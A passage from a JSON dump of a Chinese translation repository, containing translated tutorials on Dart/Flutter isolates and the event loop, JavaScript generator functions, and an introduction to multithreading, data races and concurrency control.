<String>['a','b','c'];\n  print('before loop');\n  myArray.forEach((String value) async {\n    await delayedPrint(value);\n  });\n  print('end of loop');\n}\n\nvoid method2() async {\n  List<String> myArray = <String>['a','b','c'];\n  print('before loop');\n  for(int i=0; i<myArray.length; i++) {\n    await delayedPrint(myArray[i]);\n  }\n  print('end of loop');\n}\n\nFuture<void> delayedPrint(String value) async {\n  await Future.delayed(Duration(seconds: 1));\n  print('delayedPrint: $value');\n}\n```\n\n答案：\n\n| method1() | method2() |\n| --------- | --------- |\n| 1.  before loop | 1.  before loop |\n| 2.  end of loop | 2.  delayedPrint: a (after 1 second) |\n| 3.  delayedPrint: a (after 1 second) | 3.  delayedPrint: b (1 second later) |\n| 4.  delayedPrint: b (directly after) | 4.  delayedPrint: c (1 second later) |\n| 5.  delayedPrint: c (directly after) | 5.  end of loop (right after) |\n\n你是否清楚它们行为不一样的区别以及原因呢？\n\n答案基于这样一个事实，**method1** 使用 **forEach()** 函数来遍历数组。每次迭代时，它都会调用一个被标记为 **async**（因此是一个 **Future**）的新回调函数。执行该回调直到遇到 **await**，而后将剩余的代码推送到 **Event** 队列。一旦迭代完成，它就会执行下一个语句：“print(‘end of loop’)”。执行完成后，**事件循环** 将处理已注册的 3 个回调。\n\n对于 **method2**，所有的内容都运行在一个相同的代码「块」中，因此能够一行一行按照顺序执行（在本例中）。\n\n正如你所看到的，即使在看起来非常简单的代码中，我们仍然需要牢记**事件循环**的工作方式……\n\n* * *\n\n## 多线程\n\n因此，我们在 Flutter 中如何并行运行代码呢？这可能吗？\n\n**是的**，这多亏了 [Isolates](https://api.dartlang.org/stable/2.1.0/dart-isolate/Isolate-class.html)。\n\n* * *\n\n### Isolate 是什么？\n\n正如前面解释过的， **Isolate** 是 **Dart** 中的 **线程**。\n\n然而，它与常规「**线程**」的实现存在较大差异，这也是将其命名为「**Isolate**」的原因。\n\n> 「Isolate」在 Flutter 中**并不共享内存**。不同「Isolate」之间通过「**消息**」进行通信。\n\n* * *\n\n### 每个 Isolate 都有自己的**事件循环**\n\n每个「**Isolate**」都拥有自己的「**事件循环**」及队列（MicroTask 和 Event）。这意味着在一个 **Isolate** 中运行的代码与另外一个 **Isolate** 不存在任何关联。\n\n多亏了这一点，我们可以获得**并行处理**的能力。\n\n* * *\n\n### 如何启动 Isolate？\n\n根据你运行 **Isolate** 的场景，你可能需要考虑不同的方法。\n\n#### 1. 底层解决方案\n\n第一个解决方案不依赖任何软件包，它完全依赖 **Dart** 提供的底层 API。\n\n##### 1.1. 第一步：创建并握手\n\n如前所述，**Isolate** 不共享任何内存并通过消息进行交互，因此，我们需要找到一种方法在「调用者」与新的 **isolate** 之间建立通信。\n\n每个 **Isolate** 都暴露了一个将消息传递给 **Isolate** 的被称为「**SendPort**」的**端口**。（个人觉得该名字有一些误导，因为它是一个**接收/监听**的端口，但这毕竟是官方名称）。\n\n这意味着「**调用者**」和「**新的 isolate**」需要互相知道彼此的端口才能进行通信。这个握手的过程如下所示：\n\n```dart\n//\n// 新的 isolate 端口\n// 该端口将在未来使用\n// 用来给 isolate 发送消息\n//\nSendPort newIsolateSendPort;\n\n//\n// 新 Isolate 实例\n//\nIsolate newIsolate;\n\n//\n// 启动一个新的 isolate\n// 然后开始第一次握手\n//\n//\nvoid callerCreateIsolate() async {\n    //\n    // 本地临时 ReceivePort\n    // 用于检索新的 isolate 的 SendPort\n    //\n    ReceivePort receivePort = ReceivePort();\n\n    //\n    // 初始化新的 isolate\n    //\n    newIsolate = await Isolate.spawn(\n        callbackFunction,\n        receivePort.sendPort,\n    );\n\n    //\n    // 检索要用于进一步通信的端口\n    //\n    //\n    newIsolateSendPort = await receivePort.first;\n}\n\n//\n// 新 isolate 的入口\n//\nstatic void callbackFunction(SendPort callerSendPort){\n    //\n    // 一个 SendPort 实例，用来接收来自调用者的消息\n    //\n    //\n    ReceivePort newIsolateReceivePort = ReceivePort();\n\n    //\n    // 向调用者提供此 isolate 的 SendPort 引用\n    //\n    callerSendPort.send(newIsolateReceivePort.sendPort);\n\n    //\n    // 进一步流程\n    //\n}\n```\n\n> **约束**\n> isolate 的「**入口**」**必须**是顶级函数或**静态**方法。\n\n##### 1.2. 第二步：向 Isolate 提交消息\n\n现在我们有了向 Isolate 发送消息的端口，让我们看看如何做到这一点：\n\n```dart\n//\n// 向新 isolate 发送消息并接收回复的方法\n//\n//\n// 在该例中，我将使用字符串进行通信操作\n// （发送和接收的数据）\n//\nFuture<String> sendReceive(String messageToBeSent) async {\n    //\n    // 创建一个临时端口来接收回复\n    //\n    ReceivePort port = ReceivePort();\n\n    //\n    // 发送消息到 Isolate，并且\n    // 通知该 isolate 哪个端口是用来提供\n    // 回复的\n    //\n    newIsolateSendPort.send(\n        CrossIsolatesMessage<String>(\n            sender: port.sendPort,\n            message: messageToBeSent,\n        )\n    );\n\n    //\n    // 等待回复并返回\n    //\n    return port.first;\n}\n\n//\n// 扩展回调函数来处理接输入报文\n//\nstatic void callbackFunction(SendPort callerSendPort){\n    //\n    // 初始化一个 SendPort 来接收来自调用者的消息\n    //\n    //\n    ReceivePort newIsolateReceivePort = ReceivePort();\n\n    //\n    // 向调用者提供该 isolate 的 SendPort 引用\n    //\n    callerSendPort.send(newIsolateReceivePort.sendPort);\n\n    //\n    // 监听输入报文、处理并提供回复的\n    // Isolate 主程序\n    //\n    newIsolateReceivePort.listen((dynamic message){\n        CrossIsolatesMessage incomingMessage = message as CrossIsolatesMessage;\n\n        //\n        // 处理消息\n        //\n        String newMessage = \"complemented string \" + incomingMessage.message;\n\n        //\n        // 发送处理的结果\n        //\n        incomingMessage.sender.send(newMessage);\n    });\n}\n\n//\n// 帮助类\n//\nclass CrossIsolatesMessage<T> {\n    final SendPort sender;\n    final T message;\n\n    CrossIsolatesMessage({\n        @required this.sender,\n        this.message,\n    });\n}\n```\n\n##### 1.3. 第三步：销毁这个新的 Isolate 实例\n\n当你不再需要这个新的 Isolate 实例时，最好通过以下方法释放它：\n\n```dart\n//\n// 释放一个 isolate 的例程\n//\nvoid dispose(){\n    newIsolate?.kill(priority: Isolate.immediate);\n    newIsolate = null;\n}\n```\n\n##### 1.4. 特别说明 - 单监听器流\n\n你可能已经注意到我们正在使用**流**在「**调用者**」和新 **isolate** 之间进行通信。这些**流**的类型为：「**单监听器**」流。\n\n* * *\n\n#### 2. 一次性计算\n\n如果你只需要运行一些代码来完成一些特定的工作，并且在工作完成之后不需要与 **Isolate** 进行交互，那么这里有一个非常方便的称为 [compute](https://docs.flutter.io/flutter/foundation/compute.html) 的 **Helper**。\n\n主要包含以下功能：\n\n*   产生一个 **Isolate**，\n*   在该 isolate 上运行一个**回调函数**，并传递一些数据，\n*   返回回调函数的处理结果，\n*   回调执行后终止 **Isolate**。\n\n> **约束**\n>\n> 「回调」函数**必须**是顶级函数并且**不能**是闭包或类中的方法（静态或非静态）。\n\n* * *\n\n#### 3. **重要限制**\n\n在撰写本文时，发现这点十分重要\n\n> Platform-Channel 通信**仅仅**由**主 isolate 支持**。该**主 isolate** 对应于应用启动时创建的 **isolate**。\n\n也就是说，通过编程创建的 **isolate** 实例，无法实现 **Platform-Channel** 通信……\n\n不过，还是有一个解决方法的……请参考[此连接](https://github.com/flutter/flutter/issues/13937)以获得关于此主题的讨论。\n\n* * *\n\n### 我应该什么时候使用 Futures 和 Isolate？\n\n用户将根据不同的因素来评估应用的质量，比如：\n\n*   特性\n*   外观\n*   用户友好性\n*   ……\n\n你的应用可以满足以上所有因素，但如果用户在一些处理过程中遇到了**卡顿**，这极有可能对你不利。\n\n因此，以下是你在开发过程中应该系统考虑的一些点：\n\n1.  如果代码片段**不能**被中断，使用**传统**的同步过程（一个或多个相互调用的方法）；\n2.  如果代码片段可以独立运行**而不**影响应用的性能，可以考虑通过 **Future** 使用**事件循环**；\n3.  如果繁重的处理可能需要一些时间才能完成，并且可能影响应用的性能，考虑使用 **Isolate**。\n\n换句话说，建议尽可能地使用 **Future**（直接或间接地通过 **async** 方法），因为一旦**事件循环**拥有空闲时间，这些 **Future** 的代码就会被执行。这将使用户**感觉**事情正在被并行处理（而我们现在知道事实并非如此）。\n\n另外一个可以帮助你决定使用 **Future** 或 **Isolate** 的因素是运行某些代码所需要的平均时间。\n\n*   如果一个方法需要几**毫秒** => **Future**\n*   如果一个处理流程需要几百**毫秒** => **Isolate**\n\n以下是一些很好的 **Isolate** 选项：\n\n*   **JSON** 解码：解码 JSON（HttpRequest 的响应）可能需要一些时间 => 使用 **compute**\n*   加密：加密可能非常耗时 => **Isolate**\n*   图像处理：处理图像（比如：剪裁）确实需要一些时间来完成 => **Isolate**\n*   从 Web 加载图像：该场景下，为什么不将它委托给一个完全加载后返回完整图像的 **Isolate**？\n\n* * *\n\n## 结论\n\n我认为了解**事件循环**的工作原理非常重要。\n\n同样重要的是要谨记 **Flutter**（**Dart**）是**单线程**的，因此，为了取悦用户，开发者必须确保应用运行尽可能流畅。**Future** 和 **Isolate** 是非常强大的工具，它们可以帮助你实现这一目标。\n\n请继续关注新文章，同时……祝你编程愉快！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/generator-functions-in-javascript.md",
    "content": "> * 原文地址：[Generator Functions in JavaScript](https://medium.com/better-programming/generator-functions-in-javascript-571ba4cda69e)\n> * 原文作者：[Sachin Thakur](https://medium.com/@thakursachin467)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/generator-functions-in-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/generator-functions-in-javascript.md)\n> * 译者：[niayyy](https://github.com/niayyy-S)\n> * 校对者：[icy](https://github.com/Raoul1996)\n\n# JavaScript 中的 Generator 函数\n\n![Photo by [matthew Feeney](https://unsplash.com/@matt__feeney?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/wait?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)](https://cdn-images-1.medium.com/max/10180/1*T-HFCdKSrA6dhlyN66g1uw.jpeg)\n\n在 ES6 中, EcmaScript 发布了一种使用函数的新方法。在本文中，我们将研究这种函数以及研究如何使用和在哪里使用它们\n\n## Generator 函数是什么？\n\nGenerator 函数是一种特殊类型的函数，它允许你暂停执行，之后可以随时恢复。\n\n它们还简化了迭代器的创建，稍后我们将介绍。让我们简单地从一些示例中了解它们是什么开始。\n\n创建 generator 函数很简单。这个 `function*` 声明（`function` 关键字后跟一个星号）定义了一个 generator 函数。\n\n```js\nfunction* generatorFunction() {\n   yield 1;\n}\n```\n\n现在，在 generator 函数中，我们不用使用 `return` 语句，而是使用 `yield` 来指定从迭代器返回的值。现在，在上面的示例中，将会返回 1。\n\n当我们像调用常规的 ES6 函数那样调用 generator 函数时，它不会直接执行函数，而是返回一个 `Generator` 对象。\n\n`Generator` 对象中包含 `next()`、`return` 和 `throw`，可用于和 generator 函数进行交互。它的工作原理类似于 `iterator`，但是你可以有更多的控制权。\n\n让我们看一个示例，了解如何使用 `generatorFunction`。现在，正如我前文所说，我们得到了 `next()` 方法。\n\n这个 `next()` 方法返回一个对象，包含了两个属性，`done` 和 `value`。你也可以向 `next` 方法提供一个参数传递给 generator。让我们看一个示例。\n\n```JavaScript\nfunction* generatorFunction() {\n   yield 1;\n}\nconst iterator = generatorFunction()\nconst value=iterator.next().value\nconsole.log(value)\n```\n\n![Output after calling next on generator function](https://cdn-images-1.medium.com/max/2000/1*CuDQhYcZ3xLZKvFTosFFrg.png)\n\n现在，正如我前文所说，我们可以通过 `next` 传递一个值给 generator 函数，并且这个值可以在 `generator` 函数内部使用。让我们通过另一个示例看一下它是如何工作的。\n\n```JavaScript\nfunction* generatorFunction() {\n   let value = yield null\n   yield value + 2;\n   yield 3 + value\n}\nconst iterator:Generator = generatorFunction()\nconst value=iterator.next(10).value // returns null\nconsole.log(iterator.next(11).value) //return 13\n```\n\n![Passing Value to generator function through next](https://cdn-images-1.medium.com/max/2000/1*ywIGvmfO_r3j0rTdccplEQ.png)\n\n当首次获得 generator 对象时，没有一个可以传递值的 `yield` 。因此，首先必须通过调用 generator 上的 `next` 来获取到 `yield`。它将始终返回 `null`。\n\n无论是否传递参数，都无关紧要，它始终返回 `null`。完成这个操作后，就可以使用 `yield` 了，你可以通过 `iterator.next()` 传递一个值，通过 `next` 传递的输入值将高效的替换掉 `yield null`。\n\n然后，当找到另一个 `yield` 时，它将返回给 generator 的使用者，也就是我们的 `iterator`。\n\n现在，让我们谈谈关于 `yield` 关键字。它看起来像 return 一样工作，但是更加的强大，因为 `return` 只是返回当函数调用后，从函数中返回一个值。\n\n在普通函数中，不允许在 `return` 关键字后执行任何操作，但是在 Generator 函数中，`yield` 可以做更多的事情。它会返回一个值，但是当你再次调用时，它会继续执行下一个 `yield` 语句。\n\n`yield` 关键字用于暂停和恢复一个 generator 函数。`yield` 返回一个包含 `value` 和 `done` 的对象。\n\n`value` 是 generator 函数求值后的结果，`done` 表明是否 generator 函数完全地执行完成,，它的值可以为 `true` 或 `false`。\n\n在 generator 函数中也可以使用 `return` 关键字，它会返回相同的对象，但是不会像 `yield` 一样继续执行下去，`return` 之后的代码将永远不会执行，即使后面有许多 `yield` 语句。\n\n所以，需要非常小心的使用 `return`，仅当确定 generator 函数的工作完成后才能使用。\n\n```JavaScript\nfunction* generatorFunction() {\n   yield  2;\n   return 2;\n   yield 3; // generator 函数永远不会到达这\n}\nconst iterator:Generator = generatorFunction()\n```\n\n## Generator 函数的用途\n\n现在，generator 函数可以非常容易的简化迭代器的创建、递归的实现以及更好的异步编程。让我们看一些示例。\n\n```JavaScript\nfunction* countInfinite(){\n   let i=0;\n   while(true){\n      yield i;\n      i++\n   }\n}\nconst iterator= countInfinite()\nconsole.log(iterator.next().value)\nconsole.log(iterator.next().value)\nconsole.log(iterator.next().value)\n```\n\n![Count infinity example](https://cdn-images-1.medium.com/max/2504/1*YVzFY7yj2GwKBQUKbnhkug.png)\n\n在上面示例中，是一个无限循环，但是它只会执行和我们在迭代器上调用 `next` 一样多的次数，它保存着函数继续计数之前的状态。\n\n这只是一个关于如何使用的一个基本的示例，我们在 generator 函数中还可以使用更复杂的逻辑，为我们提供更多的能力。\n\n```JavaScript\nfunction* fibonacci(num1:number, num2:number) {\nwhile (true) {\n   yield (() => {\n         num2 = num2 + num1;\n         num1 = num2 - num1;\n         return num2;\n      })();\n   }\n}\nconst iterator = fibonacci(0, 1);\nfor (let i = 0; i < 10; i++) {\n   console.log(iterator.next().value);\n}\n```\n\n![Fibonacci series Example](https://cdn-images-1.medium.com/max/2700/1*UOMv0GIOFyRWOqhFMSxgMA.png)\n\n在上面的示例中，我们实现了无递归的斐波那契数列。 generator 函数功能非常强大，并且只会被你想象力的所限制。\n\ngenerator 函数另一个优点是它们能高效存储。我们可以在需要的时候再生成值。\n\n在使用、普通函数的情况下，我们生成许多值，但是不知道我们是否会使用。但是，对于 generator 函数而言，我们可以在我们需要使用的时候再进行计算。\n\n在使用 generator 函数前，请记住一些注意事项。你不能再次获取你已经获取过的值。\n\n## 结论\n\n在 JavaScript 中，迭代器函数在做许多事情方面是出色而有效的。使用 generator 函数还有许多其它可能的方向。\n\n例如：使用异步操作会更容易。因为 generator 函数可以在一段时间内生成许多值，所以它也可以被用作一个可观察对象。\n\n我希望本文对你理解 `generator` 函数有所帮助，告诉我你还能使用 `generator` 函数做什么或者正在做什么。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/gentle-introduction-multithreading.md",
    "content": "> * 原文地址：[A gentle introduction to multithreading](https://www.internalpointers.com/post/gentle-introduction-multithreading)\n> * 原文作者：[Triangles](https://www.internalpointers.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/gentle-introduction-multithreading.md](https://github.com/xitu/gold-miner/blob/master/TODO1/gentle-introduction-multithreading.md)\n> * 译者：[steinliber](https://github.com/steinliber)\n> * 校对者：[Graywd](https://github.com/Graywd)，[Endone](https://github.com/Endone)\n\n# 多线程简介\n\n> 一步一步来接近多线程的世界\n\n现代计算机已经具备了在同一时间执行多个操作的能力。在更先进的硬件和更智能的操作系统支持下，这个特征可以让你程序的执行和响应速度变得更快。\n\n编写能够利用这种特性的软件会很有意思，但也很棘手：这需要你理解计算机背后所发生的事情。在第一节中，我将会试着简单覆盖关于线程的知识，它是由操作系统提供能实现这种魔术的工具之一。让我们开始吧！\n\n## 进程和线程：用正确的方式来命名事物\n\n现代操作系统可以在同一时间运行多个程序。这就是为什么你可以在浏览器（一个程序）阅读这篇文章的同时还可以在播放器（另一个程序）上收听音乐。这里的每个程序被认为是一个正在执行的进程。操作系统知道很多软件层面的技巧来使一个进程和其他进程一起运行，也可以利用底层硬件来实现这个目的。无论哪种方式，最终的结果就是你会**感觉**所有程序都正在同时运行。\n\n在操作系统中运行进程并不是同时执行多个操作唯一的方式。每个进程其内部还可以同时运行多个子任务，这些子任务叫做线程。你可以把线程理解为进程本身的一部分。每个进程在启动时至少会触发一个线程，被称为主线程。然后，根据程序/开发者的需要，可以在进程内启动和终止额外的线程。多线程就是指在同一个进程中运行多个线程的技术。\n\n比如说，你的播放器就可能运行了多个线程：一个线程用来渲染界面 —— 这个线程通常是主线程，另一个用于播放音乐等等。\n\n你可以把操作系统理解为一个包含多个进程的容器，其中的每个进程都是一个包含多个线程的容器。在本文中，我将只关注线程，但是这整个主题都很吸引人，所以值得在将来做更深入的分析。\n\n![进程 vs 线程](https://raw.githubusercontent.com/monocasual/internalpointers-files/master/2019/02/processes-threads.png)\n\n图 1：操作系统可以被看作一个包含进程的盒子，进程又可以被看作包含一个或多个线程的盒子。\n\n### 进程和线程之间的区别\n\n每个进程都有属于它自己的内存块，由操作系统负责进行分配。在默认情况下，进程之间不能共享彼此的内存块：浏览器程序无法访问分配给播放器的内存，反之亦然。就算你运行了相同的进程实例（比如你启动了浏览器两次），它们之间也不会共享内存。操作系统将每个实例视为一个新的进程，并分配其各自独立的内存。所以，在一般情况下，多个进程相互之间无法共享数据，除非它们使用一些高级的技巧 —— 所谓的[进程间通信](https://en.wikipedia.org/wiki/Inter-process_communication)。\n\n和进程不一样，线程共享由操作系统分配给其父进程的同一块内存：这样播放器的音频引擎可以很简单的读取到主界面的数据，反之亦然。因此相较于进程，线程之间相互通信更加容易。除此之外，线程通常比进程更轻：它们占用的资源更少，创建的速度更快，这就是为什么它们也被称为轻量级进程的原因。\n\n要让你的程序在同一时间执行多个操作，线程是一种简单的方式。如果没有线程，你就需要为每个任务写一个程序，把它们作为进程运行并通过操作系统对这些进程进行同步。相较之下，这不仅会变得更难（进程间通信比较棘手）而且速度更慢（进程比线程更重）。\n\n### 绿色线程，纤程\n\n到目前为止提到的线程都是操作系统层面的概念：一个进程想要启动一个新线程必须通过操作系统。然而并非每个平台都原生支持线程。绿色线程，也被称为纤程是对线程的一种模拟，使多线程程序可以在不提供线程能力的环境下工作。比如说，在虚拟机的底层操作系统并没有对线程原生支持的情况下，它还是可以实现绿色线程。\n\n绿色线程可以更快的创建和管理，因为对其的操作完全绕过了操作系统，但是这也有缺点。我将在下一节中谈到这个话题。\n\n“绿色线程”的名字来自于 Sun Microsystem 的绿色团队，他们在 90 年代设计了 Java 最初 的线程库。现在，Java 不再使用绿色线程：它们在 2000 年的时候被切换成了原生线程。其它一些像 Go，Haskell 或者 Ruby 等编程语言 —— 它们采用了和绿色线程相同的实现而没有用原生线程。\n\n## 线程是用来干嘛的\n\n为什么一个进程应该使用多个线程？就像我之前提到的，并行处理可以极大加快速度。假设你要在电影编辑器中渲染一部电影。这个编辑器足够智能的话，它可以将渲染操作分散到多个线程中，每个线程负责处理电影的一部分。这样的话如果用一个线程处理该任务要一个小时，那么使用两个线程则需要 30 分钟；使用 4 个线程要 15 分钟，以此类推。\n\n真的有那么简单吗？这里有三点需要考虑：\n\n1. 并不是每个程序都需要多线程。如果你的应用执行的是顺序操作或者等待用户做一些事情，多线程可能并没有那么好；\n2. 你不能只是简单在应用中增加更多的线程，来让它运行更快：每个子任务都必须经过仔细的思考和设计从而实现并行操作；\n3. 并不能百分百保证线程将真正并行的执行操作（即**同时执行**）：它实际上取决于程序运行的底层硬件。\n\n最后至关重要的一点：如果你的计算机不支持在同一时间执行多个操作，操作系统就会伪装成它们是那样运行的。我们之后将会马上看到这个。目前，让我们把并发理解成**我们看起来**任务在同时运行，而真正的并行就是像字面上理解的那样，任务在同一时间运行。\n\n![并发 vs 并行](https://raw.githubusercontent.com/monocasual/internalpointers-files/master/2019/02/concurrency-parallelism.png)\n\n图 2：并行是并发的子集。\n\n## 是什么使并发和并行成为可能\n\n计算机的中央处理单元（CPU）负责运行程序的繁重工作。它由几部分组成，其中主要的部分叫做核心：这就是实际执行计算的地方。一个核心在同一时间只能执行一个操作。\n\n无疑，这是核心一个主要的缺点。因此，操作系统层面提供了先进的技术使用户能够同时运行多个进程（或线程），特别是在图形环境中，甚至在单核机器上。其中最重要的方式叫做抢占式多任务处理，这里面的抢占式是指可以控制中断正在运行的任务，切换到另一个任务，一段时间后再恢复执行之前运行任务的能力。\n\n因此如果你的 CPU 只有一个核心，那么操作系统的一部分工作就是把这个单核的计算能力分配到多个进程或线程中，这些进程或线程会一个接一个地循环执行。这种操作会给你一种多个程序在并行运行的错觉，如果是使用了多线程，就会觉得这个程序在同时做很多事。这满足了并发性，但是并不是真的并行 —— 即**同时**运行进程的能力仍然是缺失的。\n\n目前现代 CPU 都会有多个核心，其中每个核心同一时间执行一次独立的操作。这意味着在多核的情况下真正的并行是可以实现的。比如说，我的 Intel Core i7 处理器有 4 个核心：它可以同时运行 4 个不同的进程和线程。\n\n操作系统可以检测 CPU 内部核心的数量并为其中的每一个都分配进程或者线程。只要操作系统喜欢，线程可以被分配到其中的任何一个核心，并且这种调度对于运行的程序来讲是完全透明的。另外如果所有核心都在忙的话，抢占式多任务就会参与其中进行调度。这就可以让你能够运行比计算机实际可用核心数量更多的进程和线程。\n\n### 多线程应用跑在一个单独的核心：这有意义吗？\n\n在单核机器上是不可能实现真正意义上的并行的。然而，如果你的应用可以从多线程中获益，那在单核机器上跑多线程应用还是有意义的。这种情况下当一个进程使用多线程的时候，即使其中的一个线程在执行比较慢或者阻塞的任务，抢占式多任务机制还是可以让应用保持运行。\n\n比如说你正在开发一个桌面应用，它会从一个很慢的磁盘读取一些数据。如果你只是写了个单线程程序，整个应用在读取数据的时候就会失去响应一直到读取完成：分配给这个唯一线程的 CPU 算力在等待磁盘唤醒的过程中被浪费。当然，操作系统还运行了除此之外的其它很多进程，但是你这个特定应用的运行将不会有任何进展。\n\n让我们重新用多线程的方式思考你的应用。程序的线程 A 负责磁盘访问，线程 B 负责主界面。如果线程 A 由于设备读取慢而卡住，线程 B 仍运行着主界面，从而让你的应用保持响应。这是有可能的，因为有了两个线程，操作系统就可以在它们之间切换分配 CPU 资源，而不会让这个程序因为较慢的线程而卡住。\n\n## 线程越多，问题越多\n\n如我们所知，线程共享它们父进程的同一块内存。这使得在同一个应用的线程间交换数据非常容易。比如：一个电影编辑器可能有一大部分的共享内存用于包含视频时间线。这样的共享内存被数个用于渲染电影到文件中的工作线程读取。它们只需要一个指向该内存区域的句柄（例如指针），就可以从中读取数据并将渲染帧输出到磁盘。\n\n只要多个线程是从同一个内存位置**读取**数据那这事情还算顺利。如果它们之中的一个或多个**写**数据到共享内存中而有其他线程正从中读取数据的时候，麻烦就开始了。这个时候会出现两个问题：\n\n\n- 数据竞争 —— 当写线程修改内存的时候，读线程可能这在读这个内存。如果写线程还没有完成写操作，读线程将会得到损坏的数据；\n\n- 竞争条件 —— 读线程应该在写线程写完之后才能读内存。如果事情发生的顺序正好相反呢？比数据竞争更微妙在于，竞争条件是指多个线程以不可预知的顺序执行它们的工作，而实际上，我们想要这些操作按照正确的顺序执行。即使对数据竞争做了保护，你的程序可能还是会触发竞争条件。\n\n### 线程安全的概念\n\n如果一段代码由多个线程同时执行，且正常工作，即没有数据竞争或竞争条件，那么就可以说它是线程安全的。你可能已经注意到一些程序库声明自己是线程安全的：如果你正在编写一个多线程程序，想要确保任何第三方的函数可以跨线程使用而不会触发并发问题，就要注意这些声明。\n\n## 数据竞争的根本原因\n\n我们知道一个 CPU 核心在同一时间只能执行一条机器指令。这样的指令叫做原子操作因为它是不可分割的：它不能被分解成更小的操作。希腊语单词 “atom”（ἄτομος; atomos）就是指**不能被切分了**。\n\n不可分割的属性使原子操作本质上就是线程安全的。当一个线程在共享数据上执行原子写时，没有其它线程可以读取被修改了一半的数据。相反，当一个线程在共享数据上执行原子读时，它会读取在某一时刻出现在内存中的整个值。在执行原子操作的时候其它线程不可能蒙混过关插入进来，因此就不会发生数据竞争。\n\n不幸的是，绝大部分操作都是非原子的。在一些硬件上即使是像 `x = 1` 这样简单的赋值操作也可能是由多个原子机器指令组成的，这就使赋值操作这个整体本身成为一个非原子操作。如果一个线程在读取 `x` 值的同时另一个线程在对其进行赋值就会触发数据竞争。\n\n## 竞争条件的根本原因\n\n抢占式多任务机制给予了操作系统对线程管理完全的控制权：它可以根据高级调度算法来开始，停止或者暂停线程。作为开发者，你不能控制线程执行的时间或者顺序。实际上，像下面这样简单的代码也不能保证按照特定的顺序启动：\n\n```\nwriter_thread.start()\nreader_thread.start()\n```\n\n运行这个程序几次，你就会注意到它每次运行的行为是如何的不同：有时写线程先启动，有时读线程先启动。如果你的程序需要在读之前先写，那么肯定会遇到竞争条件。\n\n这种表现被称为非确定性：运行结果每次都会改变而你无法预测。调试受竞争条件影响的程序非常烦人，因为你不能总是以一种可控的方式来重现问题。\n\n## 来教线程们相处：并发控制\n\n数据竞争和竞争条件都是现实世界的问题：有些人甚至[因之而死](https://en.wikipedia.org/wiki/Therac-25)。调度多个并发线程的艺术叫做并发控制：为了处理这个问题，操作系统和编程语言提供了几个解决方案。其中最重要的是：\n\n- 同步 —— 一种确保同一时间资源只会被一个线程使用的方式。同步就是把代码的特定部分标记为“受保护的”，这样多个并发线程就不会同时执行这段代码，避免它们把共享数据搞砸；\n\n- 原子操作 —— 由于操作系统提供了特殊指令，许多非原子操作（像之前的赋值操作）可以变成原子操作。这样，无论其它线程如何访问共享数据，共享数据始终保持有效状态。\n\n- 不可变数据 —— 共享数据被标记为不可变的，没有什么可以改变它：线程只能从中读取，这样就消除了根本原因。正如我们所知，只要不修改内存线程就可以安全的从相同的内存位置读取数据。这是[函数式编程](https://en.wikipedia.org/wiki/Functional_programming)背后的主要理念。\n\n在这个关于并发的小系列下一节中，我将会讨论所有这些引人入胜的主题。敬请期待！\n\n## 参考\n\n8 bit avenue - [Difference between Multiprogramming, Multitasking, Multithreading and Multiprocessing](https://www.8bitavenue.com/difference-between-multiprogramming-multitasking-multithreading-and-multiprocessing/)\\\nWikipedia - [Inter-process communication](https://en.wikipedia.org/wiki/Inter-process_communication)\\\nWikipedia - [Process (computing)](https://en.wikipedia.org/wiki/Process_%28computing%29)\\\nWikipedia - [Concurrency (computer science)](https://en.wikipedia.org/wiki/Concurrency_%28computer_science%29)\\\nWikipedia - [Parallel computing](https://en.wikipedia.org/wiki/Parallel_computing)\\\nWikipedia - [Multithreading (computer architecture)](https://en.wikipedia.org/wiki/Multithreading_%28computer_architecture%29)\\\nStackoverflow - [Threads & Processes Vs MultiThreading & Multi-Core/MultiProcessor: How they are mapped?](https://stackoverflow.com/questions/1713554/threads-processes-vs-multithreading-multicore-multiprocessor-how-they-are)\\\nStackoverflow - [Difference between core and processor?](https://stackoverflow.com/questions/19225859/difference-between-core-and-processor)\\\nWikipedia - [Thread (computing)](https://en.wikipedia.org/wiki/Thread_%28computing%29)\\\nWikipedia - [Computer 